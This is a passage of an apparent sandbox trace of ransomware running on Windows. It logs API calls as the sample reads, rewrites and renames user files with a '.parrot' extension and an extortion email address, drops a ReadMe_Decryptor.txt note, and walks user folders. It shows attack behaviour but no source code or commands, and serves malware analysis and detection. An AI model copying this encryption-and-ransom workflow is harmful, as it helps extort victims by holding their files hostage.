Flags=0x0, Size=0x2) returned 0x55bd98 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0044.774] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.774] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x5fc980 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x5fe948 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x28ea198 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe948 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x28ee8e8 [0044.775] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.775] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x291a218 [0044.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ee8e8 | out: hHeap=0x540000) returned 1 [0044.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28ea198 [0044.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x291a218 | out: hHeap=0x540000) returned 1 [0044.776] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x61c990 [0044.776] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.776] WriteFile (in: hFile=0x2d4, lpBuffer=0x61c9a0*, nNumberOfBytesToWrite=0x12d78, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x61c9a0*, lpNumberOfBytesWritten=0x18fa94*=0x12d78, lpOverlapped=0x0) returned 1 [0044.777] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.779] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12d76, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.779] CloseHandle (hObject=0x2d4) returned 1 [0044.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x607370 [0044.780] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0044.780] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x607370 | out: hHeap=0x540000) returned 1 [0044.780] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5T3pGiSbr.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5t3pgisbr.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5T3pGiSbr.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5t3pgisbr.odp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0044.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.781] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fa1d8 | out: hHeap=0x540000) returned 1 [0044.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0044.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0044.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.781] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0044.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.782] GetFileType (hFile=0x2d4) returned 0x1 [0044.783] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.907] lstrcmpW (lpString1="7sz8.gif", lpString2="ReadMe_Decryptor.txt") returned -1 [0044.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7sz8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7sz8.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.907] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x4fce [0044.907] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.907] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.907] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0044.908] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.908] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x4fce, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x4fce, lpOverlapped=0x0) returned 1 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0044.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0044.909] GetLastError () returned 0x0 [0044.909] SetLastError (dwErrCode=0x0) [0044.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.909] GetLastError () returned 0x0 [0044.909] SetLastError (dwErrCode=0x0) [0044.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.909] GetLastError () returned 0x0 [0044.909] SetLastError (dwErrCode=0x0) [0044.909] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0044.909] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5fc980 [0044.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x5fd988 [0044.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5fe9c8 [0044.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fd988 | out: hHeap=0x540000) returned 1 [0044.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0044.910] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe9c8 | out: hHeap=0x540000) returned 1 [0044.910] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe) returned 0x5f4c70 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0044.911] GetLastError () returned 0x0 [0044.911] SetLastError (dwErrCode=0x0) [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.911] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.911] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0044.911] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x608f18 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5785c8 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5785c8 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0044.912] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.912] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x61c990 [0044.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x5fc980 [0044.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x628a10 [0044.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.913] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x62d160 [0044.913] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x628a10 | out: hHeap=0x540000) returned 1 [0044.913] WriteFile (in: hFile=0x2d4, lpBuffer=0x62d180*, nNumberOfBytesToWrite=0x50e8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x62d180*, lpNumberOfBytesWritten=0x18fa94*=0x50e8, lpOverlapped=0x0) returned 1 [0044.914] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x62d160 | out: hHeap=0x540000) returned 1 [0044.914] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.914] CloseHandle (hObject=0x2d4) returned 1 [0044.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db300 [0044.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0044.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db300 | out: hHeap=0x540000) returned 1 [0044.915] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7sz8.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7sz8.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7sz8.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7sz8.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0044.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0044.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0044.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0044.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0044.917] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.917] GetFileType (hFile=0x2d4) returned 0x1 [0044.917] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.928] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x5dad60 [0045.142] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.142] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.230] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.230] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.230] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0045.230] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0045.230] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0045.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0045.236] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa6) returned 0x28d14a8 [0045.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0045.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0045.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcaa8 [0045.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x5ea7f8 [0045.242] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0045.243] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0045.243] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0045.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0045.245] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0045.245] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0045.245] 